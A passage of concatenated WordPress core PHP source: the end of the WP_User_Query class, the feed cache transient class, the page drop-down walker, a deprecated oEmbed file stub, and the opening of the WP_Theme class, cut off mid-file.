		if ( isset( $this->query_vars[ $query_var ] ) ) {
			return $this->query_vars[ $query_var ];
		}

		return null;
	}

	/**
	 * Sets query variable.
	 *
	 * @since 3.5.0
	 *
	 * @param string $query_var Query variable key.
	 * @param mixed  $value     Query variable value.
	 */
	public function set( $query_var, $value ) {
		$this->query_vars[ $query_var ] = $value;
	}

	/**
	 * Used internally to generate an SQL string for searching across multiple columns.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string   $search  Search string.
	 * @param string[] $columns Array of columns to search.
	 * @param bool     $wild    Whether to allow wildcard searches. Default is false for Network Admin, true for single site.
	 *                          Single site allows leading and trailing wildcards, Network Admin only trailing.
	 * @return string
	 */
	protected function get_search_sql( $search, $columns, $wild = false ) {
		global $wpdb;

		$searches      = array();
		$leading_wild  = ( 'leading' === $wild || 'both' === $wild ) ? '%' : '';
		$trailing_wild = ( 'trailing' === $wild || 'both' === $wild ) ? '%' : '';
		$like          = $leading_wild . $wpdb->esc_like( $search ) . $trailing_wild;

		foreach ( $columns as $column ) {
			if ( 'ID' === $column ) {
				$searches[] = $wpdb->prepare( "$column = %s", $search );
			} else {
				$searches[] = $wpdb->prepare( "$column LIKE %s", $like );
			}
		}

		return ' AND (' . implode( ' OR ', $searches ) . ')';
	}

	/**
	 * Returns the list of users.
	 *
	 * @since 3.1.0
	 *
	 * @return array Array of results.
	 */
	public function get_results() {
		return $this->results;
	}

	/**
	 * Returns the total number of users for the current query.
	 *
	 * @since 3.1.0
	 *
	 * @return int Number of total users.
	 */
	public function get_total() {
		return $this->total_users;
	}

	/**
	 * Parses and sanitizes 'orderby' keys passed to the user query.
	 *
	 * @since 4.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string Value to used in the ORDER clause, if `$orderby` is valid.
	 */
	protected function parse_orderby( $orderby ) {
		global $wpdb;

		$meta_query_clauses = $this->meta_query->get_clauses();

		$_orderby = '';
		if ( in_array( $orderby, array( 'login', 'nicename', 'email', 'url', 'registered' ), true ) ) {
			$_orderby = 'user_' . $orderby;
		} elseif ( in_array( $orderby, array( 'user_login', 'user_nicename', 'user_email', 'user_url', 'user_registered' ), true ) ) {
			$_orderby = $orderby;
		} elseif ( 'name' === $orderby || 'display_name' === $orderby ) {
			$_orderby = 'display_name';
		} elseif ( 'post_count' === $orderby ) {
			// @todo Avoid the JOIN.
			$where             = get_posts_by_author_sql( 'post' );
			$this->query_from .= " LEFT OUTER JOIN (
				SELECT post_author, COUNT(*) as post_count
				FROM $wpdb->posts
				$where
				GROUP BY post_author
			) p ON ({$wpdb->users}.ID = p.post_author)";
			$_orderby          = 'post_count';
		} elseif ( 'ID' === $orderby || 'id' === $orderby ) {
			$_orderby = 'ID';
		} elseif ( 'meta_value' === $orderby || $this->get( 'meta_key' ) === $orderby ) {
			$_orderby = "$wpdb->usermeta.meta_value";
		} elseif ( 'meta_value_num' === $orderby ) {
			$_orderby = "$wpdb->usermeta.meta_value+0";
		} elseif ( 'include' === $orderby && ! empty( $this->query_vars['include'] ) ) {
			$include     = wp_parse_id_list( $this->query_vars['include'] );
			$include_sql = implode( ',', $include );
			$_orderby    = "FIELD( $wpdb->users.ID, $include_sql )";
		} elseif ( 'nicename__in' === $orderby ) {
			$sanitized_nicename__in = array_map( 'esc_sql', $this->query_vars['nicename__in'] );
			$nicename__in           = implode( "','", $sanitized_nicename__in );
			$_orderby               = "FIELD( user_nicename, '$nicename__in' )";
		} elseif ( 'login__in' === $orderby ) {
			$sanitized_login__in = array_map( 'esc_sql', $this->query_vars['login__in'] );
			$login__in           = implode( "','", $sanitized_login__in );
			$_orderby            = "FIELD( user_login, '$login__in' )";
		} elseif ( isset( $meta_query_clauses[ $orderby ] ) ) {
			$meta_clause = $meta_query_clauses[ $orderby ];
			$_orderby    = sprintf( 'CAST(%s.meta_value AS %s)', esc_sql( $meta_clause['alias'] ), esc_sql( $meta_clause['cast'] ) );
		}

		return $_orderby;
	}

	/**
	 * Generate cache key.
	 *
	 * @since 6.3.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param array  $args Query arguments.
	 * @param string $sql  SQL statement.
	 * @return string Cache key.
	 */
	protected function generate_cache_key( array $args, $sql ) {
		global $wpdb;

		// Replace wpdb placeholder in the SQL statement used by the cache key.
		$sql = $wpdb->remove_placeholder_escape( $sql );

		$key          = md5( $sql );
		$last_changed = wp_cache_get_last_changed( 'users' );

		if ( empty( $args['orderby'] ) ) {
			// Default order is by 'user_login'.
			$ordersby = array( 'user_login' => '' );
		} elseif ( is_array( $args['orderby'] ) ) {
			$ordersby = $args['orderby'];
		} else {
			// 'orderby' values may be a comma- or space-separated list.
			$ordersby = preg_split( '/[,\s]+/', $args['orderby'] );
		}

		$blog_id = 0;
		if ( isset( $args['blog_id'] ) ) {
			$blog_id = absint( $args['blog_id'] );
		}

		if ( $args['has_published_posts'] || in_array( 'post_count', $ordersby, true ) ) {
			$switch = $blog_id && get_current_blog_id() !== $blog_id;
			if ( $switch ) {
				switch_to_blog( $blog_id );
			}

			$last_changed .= wp_cache_get_last_changed( 'posts' );

			if ( $switch ) {
				restore_current_blog();
			}
		}

		return "get_users:$key:$last_changed";
	}

	/**
	 * Parses an 'order' query variable and casts it to ASC or DESC as necessary.
	 *
	 * @since 4.2.0
	 *
	 * @param string $order The 'order' query variable.
	 * @return string The sanitized 'order' query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return 'DESC';
		}

		if ( 'ASC' === strtoupper( $order ) ) {
			return 'ASC';
		} else {
			return 'DESC';
		}
	}

	/**
	 * Makes private properties readable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Getting a dynamic property is deprecated.
	 *
	 * @param string $name Property to get.
	 * @return mixed Property.
	 */
	public function __get( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return $this->$name;
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Getting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
		return null;
	}

	/**
	 * Makes private properties settable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Setting a dynamic property is deprecated.
	 *
	 * @param string $name  Property to check if set.
	 * @param mixed  $value Property value.
	 */
	public function __set( $name, $value ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			$this->$name = $value;
			return;
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Setting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
	}

	/**
	 * Makes private properties checkable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Checking a dynamic property is deprecated.
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return isset( $this->$name );
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Checking `isset()` on a dynamic property " .
			'is deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
		return false;
	}

	/**
	 * Makes private properties un-settable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Unsetting a dynamic property is deprecated.
	 *
	 * @param string $name Property to unset.
	 */
	public function __unset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			unset( $this->$name );
			return;
		}

		wp_trigger_error(
			__METHOD__,
			"A property `{$name}` is not declared. Unsetting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
	}

	/**
	 * Makes private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( 'get_search_sql' === $name ) {
			return $this->get_search_sql( ...$arguments );
		}
		return false;
	}
}
<?php
/**
 * Feed API: WP_Feed_Cache_Transient class
 *
 * @package WordPress
 * @subpackage Feed
 * @since 4.7.0
 */

/**
 * Core class used to implement feed cache transients.
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_Feed_Cache_Transient {

	/**
	 * Holds the transient name.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $name;

	/**
	 * Holds the transient mod name.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $mod_name;

	/**
	 * Holds the cache duration in seconds.
	 *
	 * Defaults to 43200 seconds (12 hours).
	 *
	 * @since 2.8.0
	 * @var int
	 */
	public $lifetime = 43200;

	/**
	 * Constructor.
	 *
	 * @since 2.8.0
	 * @since 3.2.0 Updated to use a PHP5 constructor.
	 *
	 * @param string $location  URL location (scheme is used to determine handler).
	 * @param string $filename  Unique identifier for cache object.
	 * @param string $extension 'spi' or 'spc'.
	 */
	public function __construct( $location, $filename, $extension ) {
		$this->name     = 'feed_' . $filename;
		$this->mod_name = 'feed_mod_' . $filename;

		$lifetime = $this->lifetime;
		/**
		 * Filters the transient lifetime of the feed cache.
		 *
		 * @since 2.8.0
		 *
		 * @param int    $lifetime Cache duration in seconds. Default is 43200 seconds (12 hours).
		 * @param string $filename Unique identifier for the cache object.
		 */
		$this->lifetime = apply_filters( 'wp_feed_cache_transient_lifetime', $lifetime, $filename );
	}

	/**
	 * Sets the transient.
	 *
	 * @since 2.8.0
	 *
	 * @param SimplePie $data Data to save.
	 * @return true Always true.
	 */
	public function save( $data ) {
		if ( $data instanceof SimplePie ) {
			$data = $data->data;
		}

		set_transient( $this->name, $data, $this->lifetime );
		set_transient( $this->mod_name, time(), $this->lifetime );
		return true;
	}

	/**
	 * Gets the transient.
	 *
	 * @since 2.8.0
	 *
	 * @return mixed Transient value.
	 */
	public function load() {
		return get_transient( $this->name );
	}

	/**
	 * Gets mod transient.
	 *
	 * @since 2.8.0
	 *
	 * @return mixed Transient value.
	 */
	public function mtime() {
		return get_transient( $this->mod_name );
	}

	/**
	 * Sets mod transient.
	 *
	 * @since 2.8.0
	 *
	 * @return bool False if value was not set and true if value was set.
	 */
	public function touch() {
		return set_transient( $this->mod_name, time(), $this->lifetime );
	}

	/**
	 * Deletes transients.
	 *
	 * @since 2.8.0
	 *
	 * @return true Always true.
	 */
	public function unlink() {
		delete_transient( $this->name );
		delete_transient( $this->mod_name );
		return true;
	}
}
<?php
/**
 * Post API: Walker_PageDropdown class
 *
 * @package WordPress
 * @subpackage Post
 * @since 4.4.0
 */

/**
 * Core class used to create an HTML drop-down list of pages.
 *
 * @since 2.1.0
 *
 * @see Walker
 */
class Walker_PageDropdown extends Walker {

	/**
	 * What the class handles.
	 *
	 * @since 2.1.0
	 * @var string
	 *
	 * @see Walker::$tree_type
	 */
	public $tree_type = 'page';

	/**
	 * Database fields to use.
	 *
	 * @since 2.1.0
	 * @var string[]
	 *
	 * @see Walker::$db_fields
	 * @todo Decouple this
	 */
	public $db_fields = array(
		'parent' => 'post_parent',
		'id'     => 'ID',
	);

	/**
	 * Starts the element output.
	 *
	 * @since 2.1.0
	 * @since 5.9.0 Renamed `$page` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::start_el()
	 *
	 * @param string  $output            Used to append additional content. Passed by reference.
	 * @param WP_Post $data_object       Page data object.
	 * @param int     $depth             Optional. Depth of page in reference to parent pages.
	 *                                   Used for padding. Default 0.
	 * @param array   $args              Optional. Uses 'selected' argument for selected page to
	 *                                   set selected HTML attribute for option element. Uses
	 *                                   'value_field' argument to fill "value" attribute.
	 *                                   See wp_dropdown_pages(). Default empty array.
	 * @param int     $current_object_id Optional. ID of the current page. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
		// Restores the more descriptive, specific name for use within this method.
		$page = $data_object;

		$pad = str_repeat( '&nbsp;', $depth * 3 );

		if ( ! isset( $args['value_field'] ) || ! isset( $page->{$args['value_field']} ) ) {
			$args['value_field'] = 'ID';
		}

		$output .= "\t<option class=\"level-$depth\" value=\"" . esc_attr( $page->{$args['value_field']} ) . '"';
		if ( $page->ID === (int) $args['selected'] ) {
			$output .= ' selected="selected"';
		}
		$output .= '>';

		$title = $page->post_title;
		if ( '' === $title ) {
			/* translators: %d: ID of a post. */
			$title = sprintf( __( '#%d (no title)' ), $page->ID );
		}

		/**
		 * Filters the page title when creating an HTML drop-down list of pages.
		 *
		 * @since 3.1.0
		 *
		 * @param string  $title Page title.
		 * @param WP_Post $page  Page data object.
		 */
		$title = apply_filters( 'list_pages', $title, $page );

		$output .= $pad . esc_html( $title );
		$output .= "</option>\n";
	}
}
<?php
/**
 * API for fetching the HTML to embed remote content based on a provided URL.
 *
 * This file is deprecated, use 'wp-includes/class-wp-oembed.php' instead.
 *
 * @deprecated 5.3.0
 * @package WordPress
 * @subpackage oEmbed
 */

_deprecated_file( basename( __FILE__ ), '5.3.0', WPINC . '/class-wp-oembed.php' );

/** WP_oEmbed class */
require_once ABSPATH . WPINC . '/class-wp-oembed.php';
<?php
/**
 * WP_Theme Class
 *
 * @package WordPress
 * @subpackage Theme
 * @since 3.4.0
 */
#[AllowDynamicProperties]
final class WP_Theme implements ArrayAccess {

	/**
	 * Whether the theme has been marked as updateable.
	 *
	 * @since 4.4.0
	 * @var bool
	 *
	 * @see WP_MS_Themes_List_Table
	 */
	public $update = false;

	/**
	 * Headers for style.css files.
	 *
	 * @since 3.4.0
	 * @since 5.4.0 Added `Requires at least` and `Requires PHP` headers.
	 * @since 6.1.0 Added `Update URI` header.
	 * @var string[]
	 */
	private static $file_headers = array(
		'Name'        => 'Theme Name',
		'ThemeURI'    => 'Theme URI',
		'Description' => 'Description',
		'Author'      => 'Author',
		'AuthorURI'   => 'Author URI',
		'Version'     => 'Version',
		'Template'    => 'Template',
		'Status'      => 'Status',
		'Tags'        => 'Tags',
		'TextDomain'  => 'Text Domain',
		'DomainPath'  => 'Domain Path',
		'RequiresWP'  => 'Requires at least',
		'RequiresPHP' => 'Requires PHP',
		'UpdateURI'   => 'Update URI',
	);

	/**
	 * Default themes.
	 *
	 * @since 3.4.0
	 * @since 3.5.0 Added the Twenty Twelve theme.
	 * @since 3.6.0 Added the Twenty Thirteen theme.
	 * @since 3.8.0 Added the Twenty Fourteen theme.
	 * @since 4.1.0 Added the Twenty Fifteen theme.
	 * @since 4.4.0 Added the Twenty Sixteen theme.
	 * @since 4.7.0 Added the Twenty Seventeen theme.
	 * @since 5.0.0 Added the Twenty Nineteen theme.
	 * @since 5.3.0 Added the Twenty Twenty theme.
	 * @since 5.6.0 Added the Twenty Twenty-One theme.
	 * @since 5.9.0 Added the Twenty Twenty-Two theme.
	 * @since 6.1.0 Added the Twenty Twenty-Three theme.
	 * @since 6.4.0 Added the Twenty Twenty-Four theme.
	 * @var string[]
	 */
	private static $default_themes = array(
		'classic'           => 'WordPress Classic',
		'default'           => 'WordPress Default',
		'twentyten'         => 'Twenty Ten',
		'twentyeleven'      => 'Twenty Eleven',
		'twentytwelve'      => 'Twenty Twelve',
		'twentythirteen'    => 'Twenty Thirteen',
		'twentyfourteen'    => 'Twenty Fourteen',
		'twentyfifteen'     => 'Twenty Fifteen',
		'twentysixteen'     => 'Twenty Sixteen',
		'twentyseventeen'   => 'Twenty Seventeen',
		'twentynineteen'    => 'Twenty Nineteen',
		'twentytwenty'      => 'Twenty Twenty',
		'twentytwentyone'   => 'Twenty Twenty-One',
		'twentytwentytwo'   => 'Twenty Twenty-Two',
		'twentytwentythree' => 'Twenty Twenty-Three',
		'twentytwentyfour'  => 'Twenty Twenty-Four',
	);

	/**
	 * Renamed theme tags.
	 *
	 * @since 3.8.0
	 * @var string[]
	 */
	private static $tag_map = array(
		'fixed-width'    => 'fixed-layout',
		'flexible-width' => 'fluid-layout',
	);

	/**
	 * Absolute path to the theme root, usually wp-content/themes
	 *
	 * @since 3.4.0
	 * @var string
	 */
	private $theme_root;

	/**
	 * Header data from the theme's style.css file.
	 *
	 * @since 3.4.0
	 * @var array
	 */
	private $headers = array();

	/**
	 * Header data from the theme's style.css file after being sanitized.
	 *
	 * @since 3.4.0
	 * @var array
	 */
	private $headers_sanitized;

	/**
	 * Is this theme a block theme.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $block_theme;

	/**
	 * Header name from the theme's style.css after being translated.
	 *
	 * Cached due to sorting functions running over the translated name.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	private $name_translated;

	/**
	 * Errors encountered when initializing the theme.
	 *
	 * @since 3.4.0
	 * @var WP_Error
	 */
	private $errors;

	/**
	 * The directory name of the theme's files, inside the theme root.
	 *
	 * In the case of a child theme, this is directory name of the child theme.
	 * Otherwise, 'stylesheet' is the same as 'template'.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	private $stylesheet;

	/**
	 * The directory name of the theme's files, inside the theme root.
	 *
	 * In the case of a child theme, this is the directory name of the parent theme.
	 * Otherwise, 'template' is the same as 'stylesheet'.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	private $template;

	/**
	 * A reference to the parent theme, in the case of a child theme.
	 *
	 * @since 3.4.0
	 * @var WP_Theme
	 */
	private $parent;

	/**
	 * URL to the theme root, usually an absolute URL to wp-content/themes
	 *
	 * @since 3.4.0
	 * @var string
	 */
	private $theme_root_uri;

	/**
	 * Flag for whether the theme's textdomain is loaded.
	 *
	 * @since 3.4.0
	 * @var bool
	 */
	private $textdomain_loaded;

	/**
	 * Stores an md5 hash of the theme root, to function as the cache key.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	private $cache_hash;

	/**
	 * Block template folders.
	 *
	 * @since 6.4.0
	 * @var string[]
	 */
	private $block_template_folders;

	/**
	 * Default values for template folders.
	 *
	 * @since 6.4.0
	 * @var string[]
	 */
	private $default_template_folders = array(
		'wp_template'      => 'templates',
		'wp_template_part' => 'parts',
	);

	/**
	 * Flag for whether the themes cache bucket should be persistently cached.
	 *
	 * Default is false. Can be set with the {@see 'wp_cache_themes_persistently'} filter.
	 *
	 * @since 3.4.0
	 * @var bool
	 */
	private static $persistently_cache;

	/**
	 * Expiration time for the themes cache bucket.
	 *
	 * By default the bucket is not cached, so this value is useless.
	 *
	 * @since 3.4.0
	 * @var bool
	 */
	private static $cache_expiration = 1800;

	/**
	 * Constructor for WP_Theme.
	 *
	 * @since 3.4.0
	 *
	 * @global array $wp_theme_directories
	 *
	 * @param string        $theme_dir  Directory of the theme within the theme_root.
	 * @param string        $theme_root Theme root.
	 * @param WP_Theme|null $_child If this theme is a parent theme, the child may be passed for validation purposes.
	 */
	public function __construct( $theme_dir, $theme_root, $_child = null ) {
		global $wp_theme_directories;

		// Initialize caching on first run.
		if ( ! isset( self::$persistently_cache ) ) {
			/** This action is documented in wp-includes/theme.php */
			self::$persistently_cache = apply_filters( 'wp_cache_themes_persistently', false, 'WP_Theme' );
			if ( self::$persistently_cache ) {
				wp_cache_add_global_groups( 'themes' );
				if ( is_int( self::$persistently_cache ) ) {
					self::$cache_expiration = self::$persistently_cache;
				}
			} else {
				wp_cache_add_non_persistent_groups( 'themes' );
			}
		}

		// Handle a numeric theme directory as a string.
		$theme_dir = (string) $theme_dir;

		$this->theme_root = $theme_root;
		$this->stylesheet = $theme_dir;

		// Correct a situation where the theme is 'some-directory/some-theme' but 'some-directory' was passed in as part of the theme root instead.
		if ( ! in_array( $theme_root, (array) $wp_theme_directories, true )
			&& in_array( dirname( $theme_root ), (array) $wp_theme_directories, true )
		) {
			$this->stylesheet = basename( $this->theme_root ) . '/' . $this->stylesheet;
			$this->theme_root = dirname( $theme_root );
		}

		$this->cache_hash = md5( $this->theme_root . '/' . $this->stylesheet );
		$theme_file       = $this->stylesheet . '/style.css';

		$cache = $this->cache_get( 'theme' );

		if ( is_array( $cache ) ) {
			foreach ( array( 'block_template_folders', 'block_theme', 'errors', 'headers', 'template' ) as $key ) {
				if ( isset( $cache[ $key ] ) ) {
					$this->$key = $cache[ $key ];
				}
			}
			if ( $this->errors ) {
				return;
			}
			if ( isset( $cache['theme_root_template'] ) ) {
				$theme_root_template = $cache['theme_root_template'];
			}
		} elseif ( ! file_exists( $this->theme_root . '/' . $theme_file ) ) {
			$this->headers['Name'] = $this->stylesheet;
			if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet ) ) {
				$this->errors = new WP_Error(
					'theme_not_found',
					sprintf(
						/* translators: %s: Theme directory name. */
						__( 'The theme directory "%s" does not exist.' ),
						esc_html( $this->stylesheet )
					)
				);
			} else {
				$this->errors = new WP_Error( 'theme_no_stylesheet', __( 'Stylesheet is missing.' ) );
			}
			$this->template               = $this->stylesheet;
			$this->block_theme            = false;
			$this->block_template_folders = $this->default_template_folders;
			$this->cache_add(
				'theme',
				array(
					'block_template_folders' => $this->block_template_folders,
					'block_theme'            => $this->block_theme,
					'headers'                => $this->headers,
					'errors'                 => $this->errors,
					'stylesheet'             => $this->stylesheet,
					'template'               => $this->template,
				)
			);
			if ( ! file_exists( $this->theme_root ) ) { // Don't cache this one.
				$this->errors->add( 'theme_root_missing', __( '<strong>Error:</strong> The themes directory is either empty or does not exist. Please check your installation.' ) );
			}
			return;
		} elseif ( ! is_readable( $this->theme_root . '/' . $theme_file ) ) {
			$this->headers['Name']        = $this->stylesheet;
			$this->errors                 = new WP_Error( 'theme_stylesheet_not_readable', __( 'Stylesheet is not readable.' ) );
			$this->template               = $this->stylesheet;
			$this->block_theme            = false;
			$this->block_template_folders = $this->default_template_folders;
			$this->cache_add(
				'theme',
				array(
					'block_template_folders' => $this->block_template_folders,
					'block_theme'            => $this->block_theme,
					'headers'                => $this->headers,
					'errors'                 => $this->errors,
					'stylesheet'             => $this->stylesheet,
					'template'               => $this->template,
				)
			);
			return;
		} else {
			$this->headers = get_file_data( $this->theme_root . '/' . $theme_file, self::$file_headers, 'theme' );
			/*
			 * Default themes always trump their pretenders.
			 * Properly identify default themes that are inside a directory within wp-content/themes.
			 */
			$default_theme_slug = array_search( $this->headers['Name'], self::$default_themes, true );
			if ( $default_theme_slug ) {
				if ( basename( $this->stylesheet ) != $default_theme_slug ) {
					$this->headers['Name'] .= '/' . $this->stylesheet;
				}
			}
		}

		if ( ! $this->template && $this->stylesheet === $this->headers['Template'] ) {
			$this->errors = new WP_Error(
				'theme_child_invalid',
				sprintf(
					/* translators: %s: Template. */
					__( 'The theme defines itself as its parent theme. Please check the %s header.' ),
					'<code>Template</code>'
				)
			);
			$this->cache_add(
				'theme',
				array(
					'block_template_folders' => $this->get_block_template_folders(),
					'block_theme'            => $this->is_block_theme(),
					'headers'                => $this->headers,
					'errors'                 => $this->errors,
					'stylesheet'             => $this->stylesheet,
				)
			);

			return;
		}

		// (If template is set from cache [and there are no errors], we know it's good.)
		if ( ! $this->template ) {
			$this->template = $this->headers['Template'];
		}

		if ( ! $this->template ) {
			$this->template = $this->stylesheet;
			$theme_path     = $this->theme_root . '/' . $this->stylesheet;

			if ( ! $this->is_block_theme() && ! file_exists( $theme_path . '/index.php' ) ) {
				$error_message = sprintf(
					/* translators: 1: templates/index.html, 2: index.php, 3: Documentation URL, 4: Template, 5: style.css */
					__( 'Template is missing. Standalone themes need to have a %1$s or %2$s template file. <a href="%3$s">Child themes</a> need to have a %4$s header in the %5$s stylesheet.' ),
					'<code>templates/index.html</code>',
					'<code>index.php</code>',
					__( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ),
					'<code>Template</code>',
					'<code>style.css</code>'
				);
				$this->errors = new WP_Error( 'theme_no_index', $error_message );
				$this->cache_add(
					'theme',
					array(
						'block_template_folders' => $this->get_block_template_folders(),
						'block_theme'            => $this->block_theme,
						'headers'                => $this->headers,
						'errors'                 => $this->errors,
						'stylesheet'             => $this->stylesheet,
						'template'               => $this->template,
					)
				);
				return;
			}
		}

		// If we got our data from cache, we can assume that 'template' is pointing to the right place.
		if ( ! is_array( $cache ) && $this->template != $this->stylesheet && ! file_exists( $this->theme_root . '/' . $this->template . '/index.php' ) ) {
			/*
			 * If we're in a directory of themes inside /themes, look for the parent nearby.
			 * wp-content/themes/directory-of-themes/*
			 */
			$parent_dir  = dirname( $this->stylesheet );
			$directories = search_theme_directories();

			if ( '.' !== $parent_dir && file_exists( $this->theme_root . '/' . $parent_dir . '/' . $this->template . '/index.php' ) ) {
				$this->template = $parent_dir . '/' . $this->template;
			} elseif ( $directories && isset( $directories[ $this->template ] ) ) {
				/*
				 * Look for the template in the search_theme_directories() results, in case it is in another theme root.
				 * We don't look into directories of themes, just the theme root.
				 */
				$theme_root_template = $directories[ $this->template ]['theme_root'];
			} else {
				// Parent theme is missing.
				$this->errors = new WP_Error(
					'theme_no_parent',
					sprintf(
						/* translators: %s: Theme directory name. */
						__( 'The parent theme is missing. Please install the "%s" parent theme.' ),
						esc_html( $this->template )
					)
				);
				$this->cache_add(
					'theme',
					array(
						'block_template_folders' => $this->get_block_template_folders(),
						'block_theme'            => $this->is_block_theme(),
						'headers'                => $this->headers,
						'errors'                 => $this->errors,
						'stylesheet'             => $this->stylesheet,
						'template'               => $this->template,
					)
				);
				$this->parent = new WP_Theme( $this->template, $this->theme_root, $this );
				return;
			}
		}

		// Set the parent, if we're a child theme.
		if ( $this->template != $this->stylesheet ) {
			// If we are a parent, then there is a problem. Only two generations allowed! Cancel things out.
			if ( $_child instanceof WP_Theme && $_child->template == $this->stylesheet ) {
				$_child->parent = null;
				$_child->errors = new WP_Error(
					'theme_parent_invalid',
					sprintf(
						/* translators: %s: Theme directory name. */
						__( 'The "%s" theme is not a valid parent theme.' ),
						esc_html( $_child->template )
					)
				);
				$_child->cache_add(
					'theme',
					array(
						'block_template_folders' => $_child->get_block_template_folders(),
						'block_theme'            => $_child->is_block_theme(),
						'headers'                => $_child->headers,
						'errors'                 => $_child->errors,
						'stylesheet'             => $_child->stylesheet,
						'template'               => $_child->template,
					)
				);
				// The two themes actually reference each other with the Template header.
				if ( $_child->stylesheet == $this->template ) {
					$this->errors = new WP_Error(
						'theme_parent_invalid',
						sprintf(
							/* translators: %s: Theme directory name. */
							__( 'The "%s" theme is not a valid parent theme.' ),
							esc_html( $this->template )
						)
					);
					$this->cache_add(
						'theme',
						array(
							'block_template_folders' => $this->get_block_template_folders(),
							'block_theme'            => $this->is_block_theme(),
							'headers'                => $this->headers,
							'errors'                 => $this->errors,
							'stylesheet'             => $this->stylesheet,
							'template'               => $this->template,
						)
					);
				}
				return;
			}
			// Set the parent. Pass the current instance so we can do the checks above and assess errors.
			$this->parent = new WP_Theme( $this->template, isset( $theme_root_template ) ? $theme_root_template : $this->theme_root, $this );
		}

		if ( wp_paused_themes()->get( $this->stylesheet ) && ( ! is_wp_error( $this->errors ) || ! isset( $this->errors->errors['theme_paused'] ) ) ) {
			$this->errors = new WP_Error( 'theme_paused', __( 'This theme failed to load properly and was paused within the admin backend.' ) );
		}

		// We're good. If we didn't retrieve from cache, set it.
		if ( ! is_array( $cache ) ) {
			$cache = array(
				'block_theme'            => $this->is_block_theme(),
				'block_template_folders' => $this->get_block_template_folders(),
				'headers'                => $this->headers,
				'errors'                 => $this->errors,
				'stylesheet'             => $this->stylesheet,
				'template'               => $this->template,
			);
			// If the parent theme is in another root, we'll want to cache this. Avoids an entire branch of filesystem calls above.
			if ( isset( $theme_root_template ) ) {
				$cache['theme_root_template'] = $theme_root_template;
			}
			$this->cache_add( 'theme', $cache );
		}
	}

	/**
	 * When converting the object to a string, the theme name is returned.
	 *
	 * @since 3.4.0
	 *
	 * @return string Theme name, ready for display (translated)
	 */
	public function __toString() {
		return (string) $this->display( 'Name' );
	}

	/**
	 * __isset() magic method for properties formerly returned by current_theme_info()
	 *
	 * @since 3.4.0
	 *
	 * @param string $offset Property to check if set.
	 * @return bool Whether the given property is set.
	 */
	public function __isset( $offset ) {
		static $properties = array(
			'name',
			'title',
			'version',
			'parent_theme',
			'template_dir',
			'stylesheet_dir',
			'template',
			'stylesheet',
			'screenshot',
			'description',
			'author',
			'tags',
			'theme_root',
			'theme_root_uri',
		);

		return in_array( $offset, $properties, true );
	}

	/**
	 * __get() magic method for properties formerly returned by current_theme_info()
	 *
	 * @since 3.4.0
	 *
	 * @param string $offset Property to get.
	 * @return mixed Property value.
	 */
	public function __get( $offset ) {
		switch ( $offset ) {
			case 'name':
			case 'title':
				return $this->get( 'Name' );
			case 'version':
				return $this->get( 'Version' );
			case 'parent_theme':
				return $this->parent() ? $this->parent()->get( 'Name' ) : '';
			case 'template_dir':
				return $this->get_template_directory();
			case 'stylesheet_dir':
				return $this->get_stylesheet_directory();
			case 'template':
				return $this->get_template();
			case 'stylesheet':
				return $this->get_stylesheet();
			case 'screenshot':
				return $this->get_screenshot( 'relative' );
			// 'author' and 'description' did not previously return translated data.
			case 'description':
				return $this->display( 'Description' );
			case 'author':
				return $this->display( 'Author' );
			case 'tags':
				return $this->get( 'Tags' );
			case 'theme_root':
				return $this->get_theme_root();
			case 'theme_root_uri':
				return $this->get_theme_root_uri();
			// For cases where the array was converted to an object.
			default:
				return $this->offsetGet( $offset );
		}
	}

	/**
	 * Method to implement ArrayAccess for keys formerly returned by get_themes()
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $offset
	 * @param mixed $value
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $offset, $value ) {}

	/**
	 * Method to implement ArrayAccess for keys formerly returned by get_themes()
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $offset
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $offset ) {}

	/**
